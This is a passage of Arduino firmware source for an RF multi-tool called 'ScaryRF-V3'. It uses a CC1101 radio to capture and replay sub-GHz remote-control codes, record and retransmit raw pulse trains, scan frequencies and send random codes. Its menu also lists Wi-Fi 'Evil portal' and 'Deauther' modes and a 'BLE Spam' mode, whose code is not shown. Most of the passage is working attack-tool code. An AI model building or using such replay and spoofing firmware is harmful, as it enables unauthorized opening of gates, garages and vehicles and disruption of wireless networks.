u8g2.print("[OK]Send [^]Exit"); u8g2.setCursor(0, 60); u8g2.print("[v]Save [<]Saved"); u8g2.sendBuffer(); while (true) { // === SAÍDA COM UP === if (btnUp.isPressed()) { break; // sai do loop imediatamente } // Atualiza frequência dinamicamente float newMhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92; if (newMhz != rfData.mhz) { rfData.mhz = newMhz; ELECHOUSE_cc1101.setMHZ(rfData.mhz); ELECHOUSE_cc1101.SetRx(); } // === DETECÇÃO CONTÍNUA === if (mySwitch.available()) { unsigned long value = mySwitch.getReceivedValue(); int bits = mySwitch.getReceivedBitlength(); int proto = mySwitch.getReceivedProtocol(); if (value != 0) { rfData.receivedValue = value; rfData.receivedBitLength = bits; rfData.receivedProtocol = proto; u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Received Signal:"); u8g2.setCursor(0, 20); u8g2.print(rfData.receivedValue); u8g2.setCursor(0, 30); u8g2.printf("Bit:%d Ptc:%d", bits, proto); u8g2.setCursor(0, 40); u8g2.print("[OK][^][v][<]"); u8g2.sendBuffer(); } mySwitch.resetAvailable(); } // === REPLAY === if (btnOk.isPressed() && rfData.receivedValue != 0) { mySwitch.disableReceive(); mySwitch.enableTransmit(TX_PIN); ELECHOUSE_cc1101.SetTx(); mySwitch.setProtocol(rfData.receivedProtocol); mySwitch.send(rfData.receivedValue, rfData.receivedBitLength); delay(200); ELECHOUSE_cc1101.SetRx(); mySwitch.disableTransmit(); mySwitch.enableReceive(RX_PIN); } if (btnDown.isPressed()) { saveSignal(); } if (btnLeft.isPressed()) { Saved(); u8g2.sendBuffer();//teste } delay(10); } // === LIMPEZA FINAL === mySwitch.disableReceive(); // Limpa a tela antes de voltar ao menu u8g2.clearBuffer(); u8g2.sendBuffer(); } // ================= SAVED ================= void Saved() { File dir = SD.open("/Subghz"); if (!dir || !dir.isDirectory()) { showMessage("No Subghz dir"); delay(800); return; } // Guarda caminhos completos String files[30]; int count = 0; while (true) { File entry = dir.openNextFile(); if (!entry) break; if (!entry.isDirectory()) { files[count++] = String(entry.name()); // caminho completo if (count >= 30) break; } entry.close(); } dir.close(); if (count == 0) { showMessage("No files"); delay(800); return; } int sel = 0; while (true) { u8g2.clearBuffer(); for (int i = 0; i < 6; i++) { int idx = (sel / 6) * 6 + i; if (idx >= count) break; // Remove pasta do nome String name = files[idx]; int slash = name.lastIndexOf('/'); if (slash >= 0) name = name.substring(slash + 1); if (idx == sel) u8g2.drawStr(0, 12 + i * 10, ">"); u8g2.drawStr(10, 12 + i * 10, name.c_str()); } u8g2.sendBuffer(); if (btnLeft.isPressed()) { return; } if (btnRight.isPressed()) { String path = files[sel]; if (deleteFile(path)) { return; } } if (btnDown.isPressed()) { sel = (sel + 1) % count; delay(150); } if (btnUp.isPressed()) { sel = (sel - 1 + count) % count; delay(150); } if (btnOk.isPressed()) { File f = SD.open(files[sel], FILE_READ); if (!f) { showMessage("Open error"); delay(500); continue; } // Espera formato: name;mhz;protocol;bits;value char name[16]; float mhz; int proto, bits; unsigned long val; String line = f.readStringUntil('\n'); f.close(); if (sscanf(line.c_str(), "%[^;];%f;%d;%d;%lu", name, &mhz, &proto, &bits, &val) != 5) { showMessage("Parse error"); delay(500); continue; } // Transmissão ELECHOUSE_cc1101.setMHZ(mhz); mySwitch.disableReceive(); mySwitch.enableTransmit(TX_PIN); ELECHOUSE_cc1101.SetTx(); u8g2.clearBuffer(); u8g2.drawStr(0, 30, "TRANSMITTING..."); u8g2.sendBuffer(); mySwitch.setProtocol(proto); mySwitch.send(val, bits); delay(400); mySwitch.disableTransmit(); ELECHOUSE_cc1101.SetRx(); mySwitch.enableReceive(RX_PIN); } } } // ==================== FUNÇÃO RAW CAPTURE ==================== void showCaptureInfo(float frequency, int rssi, int sampleCount) { u8g2.clearBuffer(); u8g2.setFont(u8g2_font_6x10_tf); u8g2.drawUTF8(0, 10, "Signal Captured"); u8g2.drawHLine(0, 12, 128); u8g2.setCursor(0, 25); u8g2.print("Freq: "); u8g2.print(frequency, 2); u8g2.print(" MHz"); u8g2.setCursor(0, 37); u8g2.print("Power: "); u8g2.print(rssi); u8g2.print(" dBm"); u8g2.setCursor(0, 49); u8g2.print("Samples: "); u8g2.print(sampleCount); u8g2.setFont(u8g2_font_5x7_tf); u8g2.setCursor(0, 63); u8g2.print("DIR:Repeat | DOWN:New"); u8g2.sendBuffer(); } void retransmitSignal(float mhz) { ELECHOUSE_cc1101.SetTx(); delay(15); bool txState = HIGH; digitalWrite(TX_PIN, txState); for (unsigned int i = 0; i < rawCapture.dataPoints; i++) { unsigned long pulseDuration = rawCapture.rawData[i]; unsigned long startTime = micros(); delayMicroseconds(pulseDuration - 12); txState = !txState; digitalWrite(TX_PIN, txState); while (micros() - startTime < pulseDuration) {} } digitalWrite(TX_PIN, LOW); ELECHOUSE_cc1101.SetRx(); u8g2.clearBuffer(); u8g2.setCursor(0, 25); u8g2.print("Freq: "); u8g2.print(mhz, 2); u8g2.print(" MHz"); u8g2.setCursor(0, 37); u8g2.print("Signal retransmitted!"); u8g2.setCursor(0, 63); u8g2.print("DIR:Repeat | OK:New"); delay(300); } void Raw() { bool exitall = false; while (!exitall) { float mhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92; ELECHOUSE_cc1101.setMHZ(mhz); ELECHOUSE_cc1101.SetRx(); // Aguarda botão de captura u8g2.clearBuffer(); u8g2.setCursor(0, 20); u8g2.print("Press [OK] to capture"); u8g2.sendBuffer(); while (!btnOk.isPressed()) { delay(10); if (btnUp.isPressed()) { exitall = true; break; } } // Prepara nova captura rawCapture.dataPoints = 0; rawCapture.lastTime = 0; rawCapture.signalState = false; // Setup interrupt attachInterrupt(digitalPinToInterrupt(RX_PIN), [] { unsigned long now = micros(); if (rawCapture.lastTime > 0) { unsigned long duration = now - rawCapture.lastTime; if (duration > 20 && duration < 100000 && rawCapture.dataPoints < MAX_SAMPLES) { unsigned int currentPoints = rawCapture.dataPoints; rawCapture.rawData[currentPoints] = duration; rawCapture.dataPoints = currentPoints + 1; rawCapture.signalState = !rawCapture.signalState; } } rawCapture.lastTime = now; }, CHANGE); // Loop de captura com waveform int i = 1; while (btnOk.isHeld() && !btnUp.isPressed()) { if (i == 1) { u8g2.clearBuffer(); } // Verifica mudança de frequência float newMhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92; if (newMhz != mhz) { mhz = newMhz; ELECHOUSE_cc1101.setMHZ(mhz); ELECHOUSE_cc1101.SetRx(); } // Atualiza waveform int rssi = ELECHOUSE_cc1101.getRssi(); waveform[i] = map(rssi, -100, -40, 0, 1023); // Display info u8g2.setCursor(0, 7); u8g2.print(mhz, 2); u8g2.print("MHz "); u8g2.print(rssi); u8g2.print("dBm"); u8g2.drawHLine(0, 12, 128); // Desenha waveform int prevY = map(waveform[i - 1], 0, 1023, SCREEN_HEIGHT - 20, 8); int currY = map(waveform[i], 0, 1023, SCREEN_HEIGHT - 20, 8); u8g2.drawLine(i - 1, prevY, i, currY); u8g2.sendBuffer(); i++; if (i >= SCREEN_WIDTH) { u8g2.clearBuffer(); i = 1; } delay(30); } // Finaliza captura detachInterrupt(digitalPinToInterrupt(RX_PIN)); // Processa resultados if (rawCapture.dataPoints > 0) { showCaptureInfo(mhz, ELECHOUSE_cc1101.getRssi(), rawCapture.dataPoints); // Loop de retransmissão múltipla while (!btnUp.isPressed()) { if (btnOk.isPressed()) { break; // Sai para nova captura } if (btnRight.isPressed()) { retransmitSignal(mhz); } delay(10); } } else if (!exitall) { u8g2.clearBuffer(); u8g2.setCursor(0, 30); u8g2.print("No signal captured!"); u8g2.sendBuffer(); delay(1000); } } } // ==================== FUNÇÃO ANALYSER ==================== void Analyser() { u8g2.clearBuffer(); u8g2.setCursor(0, 20); u8g2.print("Analyzing..."); u8g2.sendBuffer(); bool exitAnalyser = false; while (!exitAnalyser) { int rssi; uint32_t detectedFrequency = 0; int detectedRssi = -100; // Sai imediatamente se UP for pressionado if (btnUp.isPressed()) { exitAnalyser = true; break; } // Varre lista de frequências for (size_t i = 0; i < sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]); i++) { uint32_t frequency = subghz_frequency_list[i]; if (btnUp.isPressed()) { // Verificação a cada frequência exitAnalyser = true; break; } ELECHOUSE_cc1101.setMHZ((float)frequency / 1000000.0); ELECHOUSE_cc1101.SetRx(); delayMicroseconds(3500); rssi = ELECHOUSE_cc1101.getRssi(); if (rssi >= rfData.rssi_threshold && rssi > detectedRssi) { detectedRssi = rssi; detectedFrequency = frequency; } } if (exitAnalyser) break; // Sai do loop principal // Mostra sinal detectado, se houver if (detectedFrequency != 0) { u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Signal detected:"); u8g2.setCursor(0, 20); u8g2.printf("Frequency:%.2fMHz", (float)detectedFrequency / 1000000.0); u8g2.setCursor(0, 30); u8g2.printf("RSSI:%ddBm", detectedRssi); u8g2.sendBuffer(); detectedFrequency = 0; } delay(600); } // Limpeza final ao sair ELECHOUSE_cc1101.SetRx(); mySwitch.disableTransmit(); delay(100); mySwitch.enableReceive(RX_PIN); u8g2.clearBuffer(); u8g2.sendBuffer(); } // ==================== FUNÇÃO SEND RANDOM ==================== void SendRandom() { showMessage("Press BTN to", "send random"); bool exitSend = false; while (!exitSend) { // Sai se UP for pressionado if (btnUp.isPressed()) { exitSend = true; break; } // Envia enquanto OK estiver pressionado while (btnOk.isHeld()) { if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) { ELECHOUSE_cc1101.setMHZ(315); rfData.mhz = 315.00; } else { ELECHOUSE_cc1101.setMHZ(433.92); rfData.mhz = 433.92; } unsigned long randomValue = 100000000 + random(900000000); int randomBitLength = (rfData.mhz == 315.00) ? 24 : 28; int randomProtocol = random(12); mySwitch.disableReceive(); delay(50); // pequeno delay para estabilidade mySwitch.enableTransmit(TX_PIN); ELECHOUSE_cc1101.SetTx(); // Exibe mensagem de envio u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Sending Random:"); u8g2.setCursor(0, 20); u8g2.print(randomValue); u8g2.setCursor(0, 30); u8g2.print(randomProtocol); u8g2.setCursor(0, 40); u8g2.print("Sending..."); u8g2.sendBuffer(); // Envia o valor mySwitch.setProtocol(randomProtocol); mySwitch.send(randomValue, randomBitLength); // Confirma envio u8g2.clearBuffer(); u8g2.setCursor(0, 10); u8g2.print("Sending Random:"); u8g2.setCursor(0, 20); u8g2.print(randomValue); u8g2.setCursor(0, 30); u8g2.print("OK"); u8g2.sendBuffer(); // Retorna para recepção ELECHOUSE_cc1101.SetRx(); mySwitch.disableTransmit(); delay(50); mySwitch.enableReceive(RX_PIN); delay(50); // pequena pausa entre envios para estabilidade, mas quase contínuo } delay(10); // Verificação de UP ou OK } // Limpeza final ao sair u8g2.clearBuffer(); u8g2.sendBuffer(); } ================================================ FILE: ScaryRF-V3/ScaryRF-V3.ino ================================================ #include #include #include #include #include #include #include #include #ifdef U8X8_HAVE_HW_I2C #include #endif // ==================== CONFIGURAÇÕES DE PINOS ==================== #define RX_PIN 4 #define TX_PIN 2 // SD (HSPI) #define SD_CS 17 #define SD_MISO 34 #define SD_MOSI 13 #define SD_SCK 14 // Botoes #define FREQUENCY_SWITCH_PIN 12 #define BTN_UP 27 #define BTN_LEFT 26 #define BTN_DOWN 25 #define BTN_OK 33 #define BTN_RIGHT 32 #define SCREEN_WIDTH 128 #define SCREEN_HEIGHT 64 // ==================== CONFIGURAÇÕES DE TEMPORIZAÇÃO ==================== #define DEBOUNCE_DELAY 10 #define DISPLAY_UPDATE_INTERVAL 50 // ==================== OBJETOS GLOBAIS ==================== U8G2_SH1106_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE); RCSwitch mySwitch = RCSwitch(); SPIClass hspi(HSPI); // ==================== ESTADOS DO SISTEMA ==================== enum SystemState { STATE_MENU, STATE_RF_REPLAY, STATE_RF_RAW, STATE_RF_ANALYSER, STATE_RF_RANDOM, STATE_WIFI_DEAUTH, STATE_WIFI_EVIL_PORTAL, STATE_BLE_SPAM }; SystemState currentSystemState = STATE_MENU; // ==================== VARIÁVEIS GLOBAIS DE RF ==================== struct RFData { unsigned long receivedValue = 0; int receivedBitLength = 0; int receivedProtocol = 0; float mhz = 433.92; const int rssi_threshold = -75; }; RFData rfData; // ==================== FREQUÊNCIAS SUB-GHZ ==================== static const uint32_t subghz_frequency_list[] = { 300000000, 303875000, 304250000, 310000000, 315000000, 318000000, 390000000, 418000000, 433075000, 433420000, 433920000, 434420000, 434775000, 438900000, 868350000, 915000000, 925000000 }; // ==================== WAVEFORM ==================== #define WAVEFORM_SAMPLES 128 int waveform[WAVEFORM_SAMPLES] = {0}; // ==================== BITMAP DA TELA INICIAL ==================== #define scary_width 128 #define scary_height 64 unsigned const char scary_bits[] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x8F, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x3F, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xC0, 0x07, 0x00, 0xFE, 0xFF, 0x0F, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x03, 0x00, 0xFF, 0xFF, 0x07, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x06, 0x00, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x00, 0x06, 0x00, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x05, 0x06, 0x10, 0xFF, 0xFF, 0x01, 0xE1, 0xFF, 0xFB, 0xFF, 0xFF, 0xFF, 0xCF, 0x9F, 0xFF, 0x87, 0x0D, 0x06, 0xBE, 0xFF, 0xFF, 0x81, 0xE3, 0xDF, 0xF9, 0xFF, 0x80, 0xFB, 0xE3, 0xC7, 0xFF, 0x87, 0x0D, 0x06, 0xBE, 0xFF, 0xFF, 0xC1, 0xE7, 0x07, 0xE8, 0xF3, 0x80, 0xF1, 0xE0, 0xE1, 0xFF, 0x87, 0x0F, 0x06, 0xFF, 0xFF, 0xFF, 0xC0, 0xFF, 0x03, 0xC8, 0xE0, 0x03, 0x60, 0x60, 0xE0, 0xFF, 0x83, 0x0F, 0x06, 0xFF, 0xFF, 0xFF, 0xC1, 0xFF, 0x00, 0x0C, 0x80, 0x03, 0xC0, 0xE0, 0xE0, 0xFF, 0x83, 0x0F, 0x07, 0xFF, 0xFF, 0xFF, 0x01, 0xFE, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0xE0, 0xE1, 0xFF, 0x87, 0x07, 0x07, 0xF7, 0xFF, 0xFF, 0x01, 0xFC, 0x20, 0x0C, 0x00, 0x83, 0xC0, 0xE0, 0xE1, 0xFF, 0x83, 0x03, 0x07, 0xF3, 0xFF, 0xFF, 0x03, 0xF8, 0x30, 0x0C, 0x06, 0x83, 0xC1, 0xE0, 0xC1, 0xFF, 0x83, 0x00, 0x07, 0xF3, 0xFF, 0xFF, 0x03, 0x70, 0xB0, 0x0C, 0x07, 0x83, 0xC1, 0xE0, 0xC1, 0xFF, 0x87, 0x80, 0x07, 0xF0, 0xFF, 0xFF, 0x03, 0x60, 0xF0, 0x8C, 0x03, 0x83, 0xC1, 0xE0, 0xE1, 0xFF, 0x07, 0xC0, 0x07, 0xF0, 0xFF, 0xFF, 0xEF, 0x60, 0xF8, 0xE6, 0x00, 0x83, 0xE1, 0xE0, 0xE1, 0xFF, 0x07, 0xC0, 0x07, 0xF0, 0xFF, 0xFF, 0xEF, 0x61, 0xF8, 0x3E, 0x00, 0x83, 0xE3, 0xE0, 0xE1, 0xFF, 0x03, 0x00, 0x07, 0xF0, 0xFF, 0xFF, 0xFF, 0x21, 0xF8, 0x1E, 0x00, 0x83, 0xE3, 0xE1, 0xE1, 0xFF, 0x03, 0x00, 0x07, 0xF3, 0xFF, 0xFF, 0xFF, 0x01, 0xF8, 0x0F, 0x0C, 0x83, 0xFB, 0xE0, 0xE1, 0xFF, 0x83, 0x03, 0x07, 0xF3, 0xFF, 0xFF, 0xFF, 0x01, 0xF8, 0x0F, 0x0E, 0x83, 0xFF, 0xF0, 0xE1, 0xFF, 0x83, 0x07, 0x0F, 0xF7, 0xFF, 0xFF, 0xF7, 0x01, 0xF8, 0x05, 0x0F, 0x83, 0xFB, 0xE0, 0xE1, 0xFF, 0x83, 0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x63, 0x00, 0xF8, 0x85, 0x0F, 0xC3, 0xFF, 0x60, 0xE0, 0xFF, 0x83, 0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x43, 0x60, 0xF0, 0x84, 0x0F, 0xC3, 0xFF, 0x00, 0xE0, 0xFF, 0x07, 0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x43, 0x60, 0xF0, 0x0C, 0x0B, 0xC3, 0xFF, 0x00, 0xE0, 0xFF, 0x03, 0x87, 0x0F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x00, 0x0C, 0x03, 0xC3, 0xFF, 0x03, 0xE0, 0xFF, 0x03, 0x87, 0x0F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x00, 0x0C, 0x00, 0xE3, 0xFF, 0x0F, 0xE0, 0xFF, 0x03, 0x87, 0x8F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x01, 0x0C, 0x00, 0xE2, 0xFF, 0x0E, 0xE0, 0xFF, 0x03, 0x87, 0x8F, 0xFF, 0xFF, 0xFF, 0x03, 0xF4, 0x07, 0x1C, 0x00, 0xEA, 0xFF, 0xDE, 0xE0, 0xFF, 0x01, 0x87, 0x0F, 0xFF, 0xFF, 0xFF, 0x0F, 0xF6, 0x0F, 0x1C, 0x2E, 0xF8, 0xFF, 0xDC, 0xE0, 0xFF, 0x00, 0x86, 0x8F, 0xFF, 0xFF, 0xFF, 0x1F, 0xFF, 0x6F, 0xBC, 0xAF, 0xFB, 0xFF, 0xFC, 0xE0, 0xFF, 0xFF, 0xC7, 0x8F, 0xFF, 0xFF, 0xFF, 0x9F, 0xFF, 0x7F, 0xBC, 0xFF, 0xFB, 0xFF, 0x78, 0xF0, 0xFF, 0xFF, 0xC7, 0xDF, 0xFF, 0xFF, 0xFF, 0xDF, 0xFF, 0xFF, 0xFC, 0xFF, 0xFF, 0xFF, 0x30, 0xF8, 0xFF, 0xFF, 0xCF, 0xDF, 0xFF, 0xFF, 0xFF, 0xDF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFC, 0xFF, 0xFF, 0xEF, 0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFC, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFD, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0xFF, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0E, 0xFF, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x7F, 0xFE, 0xFF, 0xFF, 0xFD, 0xFF, 0xFF, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x7F, 0xFF, 0xFF, 0xFF, 0xFC, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x87, 0xFC, 0xFF, 0xFF, 0xFC, 0x7F, 0x3F, 0xF8, 0x87, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0x04, 0x04, 0x80, 0x0F, 0x60, 0xDF, 0xF1, 0x69, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0x64, 0x26, 0xF9, 0x65, 0x32, 0xFF, 0xF3, 0x59, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFE, 0xFF, 0xCF, 0x64, 0x26, 0x01, 0x64, 0x32, 0x1F, 0xF2, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0x64, 0xA7, 0xBD, 0x64, 0x12, 0x9F, 0xF9, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0xA4, 0xA7, 0x9F, 0x64, 0x12, 0x9F, 0xFF, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0xC4, 0xE6, 0x9B, 0x64, 0x22, 0x9F, 0xF6, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFE, 0xFF, 0xC7, 0x64, 0xE6, 0x99, 0x64, 0x22, 0x9F, 0xF2, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x8F, 0x66, 0xE6, 0xD9, 0x64, 0x32, 0x9F, 0xF2, 0x71, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x1F, 0x02, 0xE3, 0x00, 0x00, 0x13, 0x9F, 0x32, 0x63, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x9F, 0x33, 0x87, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x0F, 0xA0, 0xDF, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFC, 0xFF, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xFF, 0xFB, 0x7F, 0xEF, 0xF7, 0xFC, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, }; // ==================== ESTRUTURA DO MENU ==================== #define ICON_WIDTH 32 #define ICON_HEIGHT 32 #define ICON_GAP 4 #define ICON_Y 32 + ICON_GAP struct menu_entry_type { const uint8_t *font; uint16_t icon; const char *name; const menu_entry_type *submenu; }; struct menu_state { uint8_t position; const menu_entry_type *menu; }; // ==================== SUBMENUS ==================== const menu_entry_type radio_freq_submenu[] = { { u8g2_font_open_iconic_all_4x_t, 211, "Replay", NULL }, { u8g2_font_open_iconic_all_4x_t, 238, "Raw", NULL }, { u8g2_font_open_iconic_all_4x_t, 165, "Analyser", NULL }, { u8g2_font_open_iconic_all_4x_t, 240, "Random", NULL }, { NULL, 0, NULL, NULL } }; const menu_entry_type wifi_submenu[] = { { u8g2_font_open_iconic_all_4x_t, 104, "Evil portal", NULL }, { u8g2_font_open_iconic_all_4x_t, 153, "Deauther", NULL }, { u8g2_font_open_iconic_all_4x_t, 175, "Internet", NULL }, { NULL, 0, NULL, NULL } }; const menu_entry_type bluetooth_submenu[] = { { u8g2_font_open_iconic_all_4x_t, 230, "BLE Spam", NULL }, { NULL, 0, NULL, NULL } }; const menu_entry_type menu_entry_list[] = { { u8g2_font_open_iconic_all_4x_t, 84, "Radio Freq", radio_freq_submenu }, { u8g2_font_open_iconic_all_4x_t, 247, "Wifi", wifi_submenu }, { u8g2_font_open_iconic_all_4x_t, 94, "Bluetooth", bluetooth_submenu }, { u8g2_font_open_iconic_all_4x_t, 129, "Config", NULL }, { NULL, 0, NULL, NULL } }; menu_state current_state = { 0, menu_entry_list }; // ==================== CLASSE DE DEBOUNCE ==================== class Button { private: uint8_t pin; unsigned long lastDebounceTime = 0; bool lastState = HIGH; bool currentState = HIGH; public: Button(uint8_t p) : pin(p) { pinMode(pin, INPUT_PULLUP); } bool isPressed() { bool reading = digitalRead(pin); if (reading != lastState) { lastDebounceTime = millis(); } if ((millis() - lastDebounceTime) > DEBOUNCE_DELAY) { if (reading != currentState) { currentState = reading; lastState = reading; return (currentState == LOW); } } lastState = reading; return false; } bool isHeld() { return digitalRead(pin) == LOW; } }; // ==================== INSTÂNCIAS DOS BOTÕES ==================== Button btnSwitch(FREQUENCY_SWITCH_PIN); Button btnUp(BTN_UP); Button btnLeft(BTN_LEFT); Button btnDown(BTN_DOWN); Button btnOk(BTN_OK); Button btnRight(BTN_RIGHT); // ==================== FUNÇÕES DE DISPLAY ==================== void displayInit() { u8g2.begin(); u8g2.enableUTF8Print(); u8g2.setFlipMode(3); u8g2.setFont(u8g2_font_6x10_tf); } void drawMenu(menu_state *state) { static unsigned long lastUpdate = 0; if (millis() - lastUpdate < DISPLAY_UPDATE_INTERVAL) return; lastUpdate = millis(); int16_t x = (u8g2.getDisplayWidth() - ICON_WIDTH) / 2; uint8_t i = state->position; u8g2.clearBuffer(); u8g2.setFont(state->menu[i].font); u8g2.drawGlyph(x, ICON_Y, state->menu[i].icon); for (int j = 1; j <= 3; j++) { u8g2.drawFrame(x - j, ICON_Y - ICON_HEIGHT - j, ICON_WIDTH + 2 * j, ICON_HEIGHT + 2 * j); } u8g2.setFont(u8g2_font_6x10_tf); u8g2.setCursor((u8g2.getDisplayWidth() - u8g2.getStrWidth(state->menu[i].name)) / 2, u8g2.getDisplayHeight() - 5); u8g2.print(state->menu[i].name); u8g2.sendBuffer(); } void showMessage(const char* line1, const char* line2 = NULL, const char* line3 = NULL) { u8g2.clearBuffer(); u8g2.setCursor(0, 20); u8g2.print(line1); if (line2) { u8g2.setCursor(0, 35); u8g2.print(line2); } if (line3) { u8g2.setCursor(0, 50); u8g2.print(line3); } u8g2.sendBuffer(); } // ==================== SETUP DE MÓDULOS ==================== void setupDisplay() { Serial.println(F("Init Display...")); displayInit(); u8g2.drawStr(0, 20, "Display OK!"); u8g2.sendBuffer(); delay(500); } void setupCC1101() { Serial.println(F("Init CC1101...")); if (!ELECHOUSE_cc1101.getCC1101()) { Serial.println(F("ERROR: CC1101 not found!")); showMessage("ERROR:", "CC1101 not found!"); while (1) delay(1000); } ELECHOUSE_cc1101.Init(); rfData.mhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92; ELECHOUSE_cc1101.setMHZ(rfData.mhz); ELECHOUSE_cc1101.SetRx(); mySwitch.enableReceive(RX_PIN); mySwitch.enableTransmit(TX_PIN); Serial.println(F("CC1101 OK!")); u8g2.drawStr(0, 30, "CC1101 OK!"); u8g2.sendBuffer(); delay(500); } // ==================== MÁQUINA DE ESTADOS ==================== void handleMenuNavigation() { if (btnRight.isPressed() && current_state.menu[current_state.position + 1].font != NULL) { current_state.position++; drawMenu(¤t_state); } if (btnLeft.isPressed() && current_state.position > 0) { current_state.position--; drawMenu(¤t_state); } if (btnOk.isPressed()) { if (current_state.menu[current_state.position].submenu != NULL) { current_state.menu = current_state.menu[current_state.position].submenu; current_state.position = 0; drawMenu(¤t_state); } else { const char* name = current_state.menu[current_state.position].name; if (strcmp(name, "Replay") == 0) currentSystemState = STATE_RF_REPLAY; else if (strcmp(name, "Raw") == 0) currentSystemState = 